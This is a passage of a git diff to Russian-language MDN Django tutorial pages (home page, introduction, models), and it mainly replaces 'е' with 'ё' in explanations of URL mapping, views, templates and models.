всего-лишь одной, домашней страницы нашего сайта (к другим страницам мы перейдём в других частях руководства). Это должно дать вам хорошее базовое представление о работе с URL-преобразованиями (связывании), отображениями и моделями.</p> <h2 id="Определяем_URL-адреса_страниц">Определяем URL-адреса страниц</h2> @@ -58,13 +58,13 @@ translation_of: Learn/Server-side/Django/Home_page <li><code>catalog/</code> — Домашняя/индексная страница.</li> <li><code>catalog/books/</code> — Список всех книг.</li> <li><code>catalog/authors/</code> — Список всех авторов.</li> - <li><code>catalog/book/<em><id></em></code> — Детальная информация для определенной книги со значением первичного ключа равного <code><em><id></em></code>. Например, <code>/catalog/book/3</code>, для <code>id = 3</code>.</li> - <li><code>catalog/author/<em><id></em></code><em> </em>— Детальная информация для определенного автора со значением первичного ключа равного <em><code><id>. </code></em>Например, <code>/catalog/author/11</code>, для автора с <code>id = 11</code>.</li> + <li><code>catalog/book/<em><id></em></code> — Детальная информация для определённой книги со значением первичного ключа равного <code><em><id></em></code>. Например, <code>/catalog/book/3</code>, для <code>id = 3</code>.</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— Детальная информация для определённого автора со значением первичного ключа равного <em><code><id>. </code></em>Например, <code>/catalog/author/11</code>, для автора с <code>id = 11</code>.</li> </ul> <p>Первые три URL-адреса используются для показа домашней страницы, а также списков книг и авторов. Они не кодируют никакой дополнительной информации и результат показа данных страниц будет полностью зависеть от того, что находится в базе данных и, по сути, будет все время одним и тем же (при неизменной базе данных, конечно).</p> -<p>Последние два URL-адреса применяются для показа детальной информации об определенной книге, или авторе — в себе они содержат соответствующее значение идентификатора (показан как <code><em><id></em></code>, выше). URL-преобразование получает данную информацию и передает ее в отображение, которое применяет ее для запроса к базе данных. Для кодирования и применения данной информации в вашем URL-адресе нам понадобится только одно url-преобразование, соответствующее отображение и шаблон страницы для показа любой книги (или автора). </p> +<p>Последние два URL-адреса применяются для показа детальной информации об определённой книге, или авторе — в себе они содержат соответствующее значение идентификатора (показан как <code><em><id></em></code>, выше). URL-преобразование получает данную информацию и передаёт её в отображение, которое применяет её для запроса к базе данных. Для кодирования и применения данной информации в вашем URL-адресе нам понадобится только одно url-преобразование, соответствующее отображение и шаблон страницы для показа любой книги (или автора). </p> <div class="note"> <p><strong>Примечание</strong>: Django позволяет вам конструировать ваши URL-адреса любым, удобным для вас, способом — вы можете закодировать информацию в теле URL-адреса, как показано выше, или использовать URL-адрес типа <code>GET</code> (например, <code>/book/?id=6</code>). Независимо от ваших предпочтений, URL-адреса должны быть понятными, логичными и читабельными (<a href="https://www.w3.org/Provider/Style/URI">посмотрите совет W3C здесь</a>).<br> @@ -84,13 +84,13 @@ translation_of: Learn/Server-side/Django/Home_page <h3 id="URL-преобразование">URL-преобразование</h3> -<p>Когда мы создавали <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">скелет сайта</a> мы обновили <strong>locallibrary/urls.py </strong>так что всякий раз, когда начинается URL-адрес наш catalog/ получен и URLConf catalog.urls подключен для обработки оставшейся части строки.</p> +<p>Когда мы создавали <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">скелет сайта</a> мы обновили <strong>locallibrary/urls.py </strong>так что всякий раз, когда начинается URL-адрес наш catalog/ получен и URLConf catalog.urls подключён для обработки оставшейся части строки.</p> <pre><code>urlpatterns += [ path('catalog/', include('catalog.urls')), ]</code></pre> -<p>Примечание: всякий раз, когда Django сталкивается c <code><a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.include" title="django.conf.urls.include">django.urls.include()</a></code> он отбрасывает часть совпавшего URL , и отправляет оставшуюся строку в включенный URLconf для дальнейшей обработки.</p> +<p>Примечание: всякий раз, когда Django сталкивается c <code><a href="https://docs.djangoproject.com/en/2.0/ref/urls/#django.urls.include" title="django.conf.urls.include">django.urls.include()</a></code> он отбрасывает часть совпавшего URL , и отправляет оставшуюся строку в включённый URLconf для дальнейшей обработки.</p> <p>Внутри нашего каталога приложения откройте <strong>urls.py</strong> и поместите в него текст, отмеченный жирным, ниже. </p> @@ -98,19 +98,19 @@ translation_of: Learn/Server-side/Django/Home_page <strong> path('', views.index, name='index'),</strong> ]</code></pre> -<p>Эта функция <code>path()</code> определяет URL-паттерн (в данном случае это пустая строка:<code>'' - </code>мы поговорим чуть более подробно о них далее в данном руководстве) и функцию отображения, которая будет вызвана, если введенный адрес будет соответствует данному паттерну (<code>views.index</code> — это функция с именем <code>index()</code> в <strong>views.py</strong>).</p> +<p>Эта функция <code>path()</code> определяет URL-паттерн (в данном случае это пустая строка:<code>'' - </code>мы поговорим чуть более подробно о них далее в данном руководстве) и функцию отображения, которая будет вызвана, если введённый адрес будет соответствует данному паттерну (<code>views.index</code> — это функция с именем <code>index()</code> в <strong>views.py</strong>).</p> <p>Данная функция <code>path()</code>, кроме того, определяет параметр <code>name</code>, который уникально определяет <em>это </em>частное URL-преобразование. Вы можете использовать данное имя для "обратного" ("reverse") преобразования — то есть, для динамического создания URL-адреса, указывающего на ресурс, на которое указывает данное преобразование. Например, теперь, когда у нас имеется данное символическое имя, мы можем ссылаться на нашу домашнюю страницу при помощи создания следующей ссылки внутри какого-либо шаблона:</p> <pre class="brush: html"><a href="<strong>{% url 'index' %}</strong>">Home</a>.</pre> <div class="note"> -<p><strong>Примечание</strong>: Мы могли бы, конечно, жестко указать прямую ссылку (то есть, <code><a href="<strong>/catalog/</strong>">Home</a></code>), но тогда, если мы изменим адрес нашей домашней страницы (например на <code>/catalog/index</code>), то данные ссылки перестанут корректно работать. Применение "обратного" url-преобразования более гибкий и эффективный подход!</p> +<p><strong>Примечание</strong>: Мы могли бы, конечно, жёстко указать прямую ссылку (то есть, <code><a href="<strong>/catalog/</strong>">Home</a></code>), но тогда, если мы изменим адрес нашей домашней страницы (например на <code>/catalog/index</code>), то данные ссылки перестанут корректно работать. Применение "обратного" url-преобразования более гибкий и эффективный подход!</p> </div> <h3 id="Отображения_(на_основе_функций)">Отображения (на основе функций)</h3> -<p>Отображение является функцией, которая обрабатывает HTTP-запрос, получает данные из базы данных (при необходимости), которые применяются для генерации страницы HTML. Затем функция отображения возвращает сгенерированную страницу пользователю в виде HTTP-ответа. В нашем случае, индексная функция демонстрирует этот процесс — она получает информацию о количестве записей <code>Book</code>, <code>BookInstance</code>, доступности <code>BookInstance</code>, а также записи <code>Author</code> из базы данных, затем передает эти записи в шаблон страницы, генерирует страницу и передает ее пользователю (клиенту пользователя, например браузеру).</p> +<p>Отображение является функцией, которая обрабатывает HTTP-запрос, получает данные из базы данных (при необходимости), которые применяются для генерации страницы HTML. Затем функция отображения возвращает сгенерированную страницу пользователю в виде HTTP-ответа. В нашем случае, индексная функция демонстрирует этот процесс — она получает информацию о количестве записей <code>Book</code>, <code>BookInstance</code>, доступности <code>BookInstance</code>, а также записи <code>Author</code> из базы данных, затем передаёт эти записи в шаблон страницы, генерирует страницу и передаёт её пользователю (клиенту пользователя, например браузеру).</p> <p>Откройте <strong>catalog/views.py</strong> и отметьте для себя, что данный файл уже импортирует функцию <a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">render()</a> - функцию, которая генерирует HTML-файлы при помощи шаблонов страниц и соответствующих данных. </p> @@ -132,7 +132,7 @@ def index(request): num_instances=BookInstance.objects.all().count() # Доступные книги (статус = 'a') num_instances_available=BookInstance.objects.filter(status__exact='a').count() - num_authors=Author.objects.count() # Метод 'all()' применен по умолчанию. + num_authors=Author.objects.count() # Метод 'all()' применён по умолчанию. # Отрисовка HTML-шаблона index.html с данными внутри # переменной контекста context @@ -144,13 +144,13 @@ def index(request): <p>Первая часть функции отображения получает количество записей при помощи вызова функции <code>objects.all()</code> у атрибута <code>objects</code>, доступного для всех классов моделей. Похожим образом мы получаем список объектов <code>BookInstance</code>, которые имеют статус 'a' (Доступно). Вы можете найти дополнительную информацию о работе с моделями в предыдущей части руководства (<a href="/en-US/docs/Learn/Server-side/Django/Models#Searching_for_records">Руководство часть 3: Применение моделей > Поиск записей</a>).</p> -<p>В конце функции <code>index</code> вызывается функция <code>render()</code>, которая, в качестве ответа, создает и возвращает страницу HTML (эта функция "оборачивает" вызовы нескольких функций, тем самым существенно упрощая процесс разработки). В качестве параметров ей передаются объект <code>request</code> (типа <code>HttpRequest</code>), шаблон HTML-страницы с метками (<code>placeholders</code>), которые будут замещены данными, а также переменной <code>context</code> (словарь Python, который содержит данные, которые и будут замещать метки в шаблоне). </p> +<p>В конце функции <code>index</code> вызывается функция <code>render()</code>, которая, в качестве ответа, создаёт и возвращает страницу HTML (эта функция "оборачивает" вызовы нескольких функций, тем самым существенно упрощая процесс разработки). В качестве параметров ей передаются объект <code>request</code> (типа <code>HttpRequest</code>), шаблон HTML-страницы с метками (<code>placeholders</code>), которые будут замещены данными, а также переменной <code>context</code> (словарь Python, который содержит данные, которые и будут замещать метки в шаблоне). </p> <p>В следующем разделе мы более подробно поговорим о шаблонах и переменной контекста. Давайте создадим наш шаблон, чтобы показать уже что-нибудь пользователю!</p> <h3 id="Шаблон">Шаблон</h3> -<p>Шаблон это текстовый файл, который определяет структуру и расположение данных в файле, кроме того, в нем размещают специальные метки (placeholders), которые используются для показа реального содержимого, то есть данных. По умолчанию Django ищет файлы шаблонов в директории с именем '<strong>templates</strong>' внутри вашего приложения. Например, внутри индексной функции отображения, которую мы только что создали, вызов <code>render()</code> будет пытаться найти файл <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> и в случае неудачи сгенерирует ошибку о том, что файл не найден. Вы можете увидеть данную ошибку, если вы сохраните предыдущие изменения, затем перейдете в браузер и наберете в адресной строке <code>127.0.0.1:8000</code>. В результате, в окно браузера будет выведено сообщение об ошибке "TemplateDoesNotExist at /catalog/" и некоторая другая информация.</p> +<p>Шаблон это текстовый файл, который определяет структуру и расположение данных в файле, кроме того, в нем размещают специальные метки (placeholders), которые используются для показа реального содержимого, то есть данных. По умолчанию Django ищет файлы шаблонов в директории с именем '<strong>templates</strong>' внутри вашего приложения. Например, внутри индексной функции отображения, которую мы только что создали, вызов <code>render()</code> будет пытаться найти файл <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> и в случае неудачи сгенерирует ошибку о том, что файл не найден. Вы можете увидеть данную ошибку, если вы сохраните предыдущие изменения, затем перейдёте в браузер и наберёте в адресной строке <code>127.0.0.1:8000</code>. В результате, в окно браузера будет выведено сообщение об ошибке "TemplateDoesNotExist at /catalog/" и некоторая другая информация.</p> <div class="note"> <p><strong>Примечание</strong>: На самом деле, в зависимости от настроек проекта, Django просматривает несколько мест в поисках шаблона (поиск в директории приложения осуществляется по умолчанию!). Вы можете найти больше информации о шаблонах и форматах, которые они поддерживают, перейдя по ссылке <a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Шаблоны</a> (Django docs).</p> @@ -278,7 +278,7 @@ def index(request): <p><strong>Примечание:</strong> Переменные шаблона заключаются в двойные фигурные скобки (<code>\{{ num_books }}</code>) , а тэги шаблона (функции шаблона), помещаются в одинарные фигурные скобки со знаками процента (<code>{% extends "base_generic.html" %}</code>).</p> </div> -<p>Важно отметить, что данные переменные имеют имена, соответствующие именам передаваемых <em>ключей</em> из словаря переменной <code>context</code>, которая, в свою очередь, передается из отображения, во время вызова функции <code>render()</code> (смотри ниже). При отрисовке шаблона, вместо этих ключей будут подставлены, соответствующие им, <em>значения</em>. </p> +<p>Важно отметить, что данные переменные имеют имена, соответствующие именам передаваемых <em>ключей</em> из словаря переменной <code>context</code>, которая, в свою очередь, передаётся из отображения, во время вызова функции <code>render()</code> (смотри ниже). При отрисовке шаблона, вместо этих ключей будут подставлены, соответствующие им, <em>значения</em>. </p> <pre class="brush: python">return render( request, @@ -288,7 +288,7 @@ def index(request): <h4 id="Ссылка_на_статические_файлы_их_шаблонов">Ссылка на статические файлы их шаблонов</h4> -<p>Любой ваш проект с большой вероятностью будет использовать статические ресурсы, включая JavaScript, CSS и изображения. В связи с тем, что расположение этих файлов может быть неизвестно (или может измениться), Django позволяет вам в шаблоне указать относительное расположение данных файлов при помощи глобального значения <code>STATIC_URL</code> (по умолчанию, значение параметра <code>STATIC_URL</code> установлено в '<code>/static/</code>', но вы можете выбрать любое другое значение, указав, например, сетевой ресурс, или что-то еще).</p> +<p>Любой ваш проект с большой вероятностью будет использовать статические ресурсы, включая JavaScript, CSS и изображения. В связи с тем, что расположение этих файлов может быть неизвестно (или может измениться), Django позволяет вам в шаблоне указать относительное расположение данных файлов при помощи глобального значения <code>STATIC_URL</code> (по умолчанию, значение параметра <code>STATIC_URL</code> установлено в '<code>/static/</code>', но вы можете выбрать любое другое значение, указав, например, сетевой ресурс, или что-то ещё).</p> <p>Внутри шаблона вы вызываете функцию (тэг) <code>load</code>, которая загружает статическую библиотеку "static" (как показано ниже). После того как статическая библиотека загружена, вы можете использовать тэг шаблона <code>static</code>, который указывает относительный путь URL к интересующему вас файлу.</p> @@ -303,7 +303,7 @@ def index(request): </pre> <div class="note"> -<p><strong>Примечание</strong>: Фрагменты выше указывают пути расположения файлов, но Django не использует их по умолчанию. В процессе разработки сервер использует значения, указанные в глобальном файле URL-преобразований (<strong>/locallibrary/locallibrary/urls.py</strong>), который мы создали в части <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">создание скелета сайта</a>. В дальнейшем, в продакшене, вам нужно будет уточнить параметры расположения статических файлов. Мы вернемся к этому позже.</p> +<p><strong>Примечание</strong>: Фрагменты выше указывают пути расположения файлов, но Django не использует их по умолчанию. В процессе разработки сервер использует значения, указанные в глобальном файле URL-преобразований (<strong>/locallibrary/locallibrary/urls.py</strong>), который мы создали в части <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">создание скелета сайта</a>. В дальнейшем, в продакшене, вам нужно будет уточнить параметры расположения статических файлов. Мы вернёмся к этому позже.</p> </div> <p>Для получения более подробной информации о работе со статическими файлами обратитесь к документации по ссылке <a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Управление статическими файлами</a> (Django docs).</p> @@ -315,7 +315,7 @@ def index(request): <pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> </pre> -<p>Данный тэг с именем <code>url()</code>, ищет в файле <strong>urls.py</strong> связанное значение переменной, указанной в качестве ее параметра <code>'index'</code>, а затем возвращает URL, который вы можете использовать для ссылки на соответствующие ресурсы.</p> +<p>Данный тэг с именем <code>url()</code>, ищет в файле <strong>urls.py</strong> связанное значение переменной, указанной в качестве её параметра <code>'index'</code>, а затем возвращает URL, который вы можете использовать для ссылки на соответствующие ресурсы.</p> <h2 id="Как_теперь_все_это_выглядит">Как теперь все это выглядит?</h2> @@ -333,7 +333,7 @@ def index(request): <ol> <li>В главном файле шаблона (<em>base_generic.html</em>) есть блок <code>title</code>. Переопределите этот блок в индексном шаблоне (<em>index.html</em>) и задайте новый заголовок для этой страницы.</li> - <li>Модифицируйте функцию отображения таким образом, чтобы получать из базы данных количество жанров и количество книг, которые содержат в своих заголовках какое-либо слово (без учета регистра), а затем передайте эти значения в шаблон.</li> + <li>Модифицируйте функцию отображения таким образом, чтобы получать из базы данных количество жанров и количество книг, которые содержат в своих заголовках какое-либо слово (без учёта регистра), а затем передайте эти значения в шаблон.</li> </ol> <ul> @@ -341,9 +341,9 @@ def index(request): <h2 id="Итог">Итог</h2> -<p>Мы создали домашнюю страницу для нашего сайта — HTML страница, которая показывает количество некоторых записей из базы данных и содержит ссылки на другие "все-еще-будут-созданы" страницы. Кроме того, мы изучили большое количество базовой информации об url-преобразованиях, отображениях, запросах к базе данных, используя наши модели, передачу информации из отображений в шаблоны, кроме того, создание и расширение шаблонов.</p> +<p>Мы создали домашнюю страницу для нашего сайта — HTML страница, которая показывает количество некоторых записей из базы данных и содержит ссылки на другие "все-ещё-будут-созданы" страницы. Кроме того, мы изучили большое количество базовой информации об url-преобразованиях, отображениях, запросах к базе данных, используя наши модели, передачу информации из отображений в шаблоны, кроме того, создание и расширение шаблонов.</p> -<p>В следующей части, при помощи наших новых знаний, мы создадим еще четыре страницы.</p> +<p>В следующей части, при помощи наших новых знаний, мы создадим ещё четыре страницы.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/django/index.html b/files/ru/learn/server-side/django/index.html index 8993390384..76beccc18d 100644 --- a/files/ru/learn/server-side/django/index.html +++ b/files/ru/learn/server-side/django/index.html @@ -27,7 +27,7 @@ translation_of: Learn/Server-side/Django <dl> <dt><a href="/ru/docs/Learn/Server-side/Django/Introduction">Введение в Django</a></dt> - <dd>В этой первой статье по Django мы ответим на вопрос "Что такое Django?" и сделаем обзор того, что делает этот веб-фреймворк особенным. Мы кратко рассмотрим основные особенности, включая некоторый продвинутый функционал, на котором у нас не будет возможности подробно остановиться в этом модуле. Мы также покажем вам некоторые из основных строительных блоков приложения Django, чтобы дать вам представление о том, что он может сделать, прежде чем вы перейдете к установке и начнете экспериментировать.</dd> + <dd>В этой первой статье по Django мы ответим на вопрос "Что такое Django?" и сделаем обзор того, что делает этот веб-фреймворк особенным. Мы кратко рассмотрим основные особенности, включая некоторый продвинутый функционал, на котором у нас не будет возможности подробно остановиться в этом модуле. Мы также покажем вам некоторые из основных строительных блоков приложения Django, чтобы дать вам представление о том, что он может сделать, прежде чем вы перейдёте к установке и начнёте экспериментировать.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/development_environment">Установка среды разработки Django</a></dt> <dd>Теперь, когда вы знаете, что такое Django, мы покажем вам, как установить и протестировать среду разработки Django для Windows, Linux (Ubuntu) и Mac OS X — какую бы операционную систему вы не использовали, эта статья должна дать вам понимание того, что вам потребуется, чтобы начать разработку Django-приложений .</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">Учебник Django: Веб-сайт местной библиотеки</a></dt> @@ -41,19 +41,19 @@ translation_of: Learn/Server-side/Django <dt><a href="/ru/docs/Learn/Server-side/Django/Home_page">Учебник Django часть 5: Создание главной страницы </a></dt> <dd>Теперь мы готовы добавить код для отображения нашей первой полной страницы — главной страницы сайта местной библиотеки, которая показывает, сколько записей у нас есть для каждого типа модели, и предоставляет ссылки на боковых панелях на другие наши страницы. По пути мы получим практический опыт написания основных карт и представлений URL, получения записей из базы данных и использования шаблонов.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Generic_views">Учебник Django часть 6: Общий список и подробные представления</a></dt> - <dd>Это руководство расширяет наш сайт местной библиотеки, добавляя список и подробные страницы для книг и авторов. Здесь мы узнаем об общих представлениях на основе классов и покажем, как они могут уменьшить количество кода, который вы должны писать для случаев общего использования. Мы также перейдем к обработке URL-адресов более подробно, покажем, как выполнить базовое сопоставление шаблонов.</dd> + <dd>Это руководство расширяет наш сайт местной библиотеки, добавляя список и подробные страницы для книг и авторов. Здесь мы узнаем об общих представлениях на основе классов и покажем, как они могут уменьшить количество кода, который вы должны писать для случаев общего использования. Мы также перейдём к обработке URL-адресов более подробно, покажем, как выполнить базовое сопоставление шаблонов.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Sessions">Учебник Django часть 7: Структура сессий</a></dt> <dd>Это руководство расширяет наш сайт местной библиотеки, добавляя счётчик посещений домашней страницы. Это относительно простой пример, но он показывает, как вы можете использовать структуру сессии, чтобы обеспечить постоянное поведение анонимных пользователей на ваших собственных сайтах.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Authentication">Учебник Django часть 8: Авторизация и права пользователей</a></dt> - <dd>В этом уроке мы покажем вам, как разрешить пользователям входить на ваш сайт со своими учетными записями и как управлять тем, что они могут делать и видеть на основе того, зарегистрированы ли они или нет, и их допусках. В рамках этой демонстрации мы расширим сайт местной библиотеки, добавив страницы входа и выхода, а также страницы пользователей и персональные страницы для просмотра книг, которые были взяты на руки.</dd> + <dd>В этом уроке мы покажем вам, как разрешить пользователям входить на ваш сайт со своими учётными записями и как управлять тем, что они могут делать и видеть на основе того, зарегистрированы ли они или нет, и их допусках. В рамках этой демонстрации мы расширим сайт местной библиотеки, добавив страницы входа и выхода, а также страницы пользователей и персональные страницы для просмотра книг, которые были взяты на руки.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Forms">Учебник Django часть 9: Работа с формами</a></dt> <dd>В этом уроке мы покажем вам, как работать с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> в Django, и в частности, самый простой способ писать формы для создания, обновления и удаления экземпляров модели. В рамках этой демонстрации мы расширим сайт местной библиотеки, чтобы библиотекари могли вносить новые книги, создавать, обновлять и удалять авторов, используя наши собственные формы (а не использовать приложение администратора).</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Testing">Учебник Django часть10: Тестирование веб-приложения Django</a></dt> - <dd>По мере роста веб-сайтов становится сложнее проверять вручную — требуется больше проверок, поскольку взаимодействие между компонентами усложняется, небольшое изменение в одной области может потребовать дополнительные тесты для проверки его влияния на другие области. Один из способов смягчить эти проблемы - написать автоматизированные тесты, которые можно легко и надежно запускать каждый раз, когда вы вносите изменения. В этом руководстве показано, как автоматизировать модульное тестирование вашего сайта с помощью тестовой среды Django.</dd> + <dd>По мере роста веб-сайтов становится сложнее проверять вручную — требуется больше проверок, поскольку взаимодействие между компонентами усложняется, небольшое изменение в одной области может потребовать дополнительные тесты для проверки его влияния на другие области. Один из способов смягчить эти проблемы - написать автоматизированные тесты, которые можно легко и надёжно запускать каждый раз, когда вы вносите изменения. В этом руководстве показано, как автоматизировать модульное тестирование вашего сайта с помощью тестовой среды Django.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/Deployment">Учебник Django часть 11: Деплой Django на продакшн</a></dt> - <dd>Теперь вы создали (и протестировали) удивительный сайт местной библиотеки, вам захочется установить его на общедоступный веб-сервер, чтобы к нему мог получить доступ персонал библиотеки и пользователи Интернета. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего веб-сайта и что вам нужно сделать, чтобы подготовить ваш сайт к выпуску.</dd> + <dd>Теперь вы создали (и протестировали) удивительный сайт местной библиотеки, вам захочется установить его на общедоступный веб-сервер, чтобы к нему мог получить доступ персонал библиотеки и пользователи Интернета. В этой статье представлен обзор того, как вы можете найти хост для развёртывания вашего веб-сайта и что вам нужно сделать, чтобы подготовить ваш сайт к выпуску.</dd> <dt><a href="/ru/docs/Learn/Server-side/Django/web_application_security">Безопасность веб-приложений Django</a></dt> - <dd>Защита пользовательских данных является неотъемлемой частью любой разработки сайта. Ранее мы объяснили некоторые из наиболее распространенных угроз безопасности в статье <a href="https://developer.mozilla.org/ru/docs/Web/Security">Web security</a> — Эта статья дает практическую демонстрацию того, как встроенные средства защиты Django справляются с такими угрозами.</dd> + <dd>Защита пользовательских данных является неотъемлемой частью любой разработки сайта. Ранее мы объяснили некоторые из наиболее распространённых угроз безопасности в статье <a href="https://developer.mozilla.org/ru/docs/Web/Security">Web security</a> — Эта статья даёт практическую демонстрацию того, как встроенные средства защиты Django справляются с такими угрозами.</dd> </dl> <h2 id="Задания">Задания</h2> diff --git a/files/ru/learn/server-side/django/introduction/index.html b/files/ru/learn/server-side/django/introduction/index.html index 29f854b94c..5bb12b1323 100644 --- a/files/ru/learn/server-side/django/introduction/index.html +++ b/files/ru/learn/server-side/django/introduction/index.html @@ -78,9 +78,9 @@ original_slug: Learn/Server-side/Django/Введение <p>Веб-фреймворки часто можно поделить на "гибкие" и "негибкие".</p> -<p>Негибкие - это те, у которых есть "правильный путь" для решения какой-либо конкретной задачи. Они часто поддерживают быстрое развёртывание в <em>определенной области</em> (решение проблем определенного типа), потому что правильный способ сделать что-либо обычно хорошо понимается и хорошо документируется. Однако они могут быть менее гибкими при решении проблем за пределами их основной сферы и, как правило, предлагают меньше вариантов того, какие компоненты и подходы они могут использовать.</p> +<p>Негибкие - это те, у которых есть "правильный путь" для решения какой-либо конкретной задачи. Они часто поддерживают быстрое развёртывание в <em>определённой области</em> (решение проблем определённого типа), потому что правильный способ сделать что-либо обычно хорошо понимается и хорошо документируется. Однако они могут быть менее гибкими при решении проблем за пределами их основной сферы и, как правило, предлагают меньше вариантов того, какие компоненты и подходы они могут использовать.</p> -<p>Напротив, у гибких фреймворков гораздо меньше ограничений на лучший способ склеивания компонентов для достижения цели или даже того, какие компоненты следует использовать. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, хотя и за счет того, что вам нужно самим найти эти компоненты.</p> +<p>Напротив, у гибких фреймворков гораздо меньше ограничений на лучший способ склеивания компонентов для достижения цели или даже того, какие компоненты следует использовать. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, хотя и за счёт того, что вам нужно самим найти эти компоненты.</p> <p>Django «умеренно гибкий» и, следовательно, обеспечивает «лучшее из обоих миров». Он предоставляет набор компонентов для обработки большинства задач веб-разработки и один (или два) предпочтительных способа их использования. Однако такая архитектура Django означает, что вы обычно можете выбирать из нескольких различных опций или при необходимости добавлять поддержку для совершенно новых.</p> @@ -192,7 +192,7 @@ class Team(models.Model): <p>Модель Django предоставляет простой API запросов для поиска в базе данных. Поиск может осуществляться по нескольким полям одновременно, используя различные критерии (такие как exact («точный»), case-insensitive («без учёта регистра»), greater than («больше чем») и т. д.), и может поддерживать сложные выражения (например, вы можете указать поиск в командах U11, у которых есть имя команды, начинающееся с «Fr» или заканчивается на «al»).</p> -<p>Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Выделенная жирным строка показывает, как мы можем использовать модель API-запросов для того, чтобы отфильтровать все записи, где поле <code>team_level</code> в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции <code>filter()</code> в качестве аргумента с именем поля и типом соответствия, разделённым двойным подчеркиванием: <strong>team_level__exact</strong>). </p> +<p>Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Выделенная жирным строка показывает, как мы можем использовать модель API-запросов для того, чтобы отфильтровать все записи, где поле <code>team_level</code> в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции <code>filter()</code> в качестве аргумента с именем поля и типом соответствия, разделённым двойным подчёркиванием: <strong>team_level__exact</strong>). </p> <pre class="brush: python notranslate">## filename: views.py @@ -243,7 +243,7 @@ def index(request): <ul> <li><strong>Формы</strong>: HTML-формы используются для сбора пользовательских данных для обработки на сервере. Django упрощает создание, проверку и обработку формы.</li> - <li><strong>Аутентификация пользователя и разрешения</strong>: Django включает надежную систему аутентификации и авторизации пользователей, которая была построена с учетом безопасности.</li> + <li><strong>Аутентификация пользователя и разрешения</strong>: Django включает надёжную систему аутентификации и авторизации пользователей, которая была построена с учётом безопасности.</li> <li><strong>Кэширование:</strong> <span id="result_box" lang="ru"><span>Создание динамического </span></span><span lang="ru"><span>контента намного более интенсивно (и медленнее), чем обслуживание статического содержимого.</span> <span>Django обеспечивает гибкое кэширование, чтобы вы могли хранить всю или часть отображаемой страницы, для того, чтобы она не вызывалась повторно, за исключением случаев, когда это необходимо.</span></span></li> <li><strong>Админ-панель: </strong>Административная панель в Django включена по умолчанию при создании приложения с использованием основного каркаса. Это упрощает управление админкой администраторам сайта для создания, редактирования и просмотра любых данных на вашем сайте.</li> <li><strong>Сериализация данных (преобразование в последовательную форму)</strong>: Django упрощает сериализацию и обслуживание ваших данных в таких форматах как XML или JSON. Это может быть полезно при создании веб-сервисов (веб-сайтов, которые исключительно служат для использования данных другими приложениями или сайтами и сами ничего не отображают) или при создании веб-сайта, на котором клиентский код обрабатывает весь рендеринг данных.</li> @@ -251,7 +251,7 @@ def index(request): <h2 id="Резюме">Резюме</h2> -<p>Поздравляем, вы завершили первый шаг в своем путешествии по Django! Теперь вы должны понимать основные преимущества Django, немного его истории, и примерно как может выглядеть каждая из основных частей приложения Django. Вы должны также изучить несколько вещей о языке программирования Python, включая синтаксис списков, функций и классов.</p> +<p>Поздравляем, вы завершили первый шаг в своём путешествии по Django! Теперь вы должны понимать основные преимущества Django, немного его истории, и примерно как может выглядеть каждая из основных частей приложения Django. Вы должны также изучить несколько вещей о языке программирования Python, включая синтаксис списков, функций и классов.</p> <p>Вы уже видели код на Django выше, но в отличие от клиентского кода вам нужно настроить среду разработки для её запуска. Это наш следующий шаг.</p> diff --git a/files/ru/learn/server-side/django/models/index.html b/files/ru/learn/server-side/django/models/index.html index 4aeb0d64bc..8fa353116b 100644 --- a/files/ru/learn/server-side/django/models/index.html +++ b/files/ru/learn/server-side/django/models/index.html @@ -45,14 +45,14 @@ translation_of: Learn/Server-side/Django/Models <p>Как только мы определились с нашими моделями и полями, нам нужно подумать об отношениях. Django позволяет вам определять отношения, как один к одному (<code>OneToOneField</code>), один ко многим (<code>ForeignKey</code>) и многие ко многим (<code>ManyToManyField</code>).</p> -<p>Диаграмма ассоциации UML, приведённая ниже показывает модели, которые мы определили в этом случае (в виде блоков). Как и выше, мы создали модели для книги (общие сведения о книге), экземпляр книги (статус конкретных физических копий книги, доступных в системе) и автора.Мы также решили создать модель для жанра, чтобы можно было создавать / выбирать значения через интерфейс администратора. Мы решили не иметь модель для BookInstance: status - мы жестко закодировали значения (LOAN_STATUS), потому что мы не ожидаем их изменения. В каждом из полей вы можете увидеть имя модели, имена и типы полей, а также методы и их типы возврата.</p> +<p>Диаграмма ассоциации UML, приведённая ниже показывает модели, которые мы определили в этом случае (в виде блоков). Как и выше, мы создали модели для книги (общие сведения о книге), экземпляр книги (статус конкретных физических копий книги, доступных в системе) и автора.Мы также решили создать модель для жанра, чтобы можно было создавать / выбирать значения через интерфейс администратора. Мы решили не иметь модель для BookInstance: status - мы жёстко закодировали значения (LOAN_STATUS), потому что мы не ожидаем их изменения. В каждом из полей вы можете увидеть имя модели, имена и типы полей, а также методы и их типы возврата.</p> <p>На диаграмме также показаны зависимости между моделями, включая их <em>множители</em>. Множители представляют собой числа на диаграмме, показывающие минимум и максимум единиц каждой модели, которые могут присутствовать в этой связи. Например, соединительная линия между ящиками показывает, что книга и 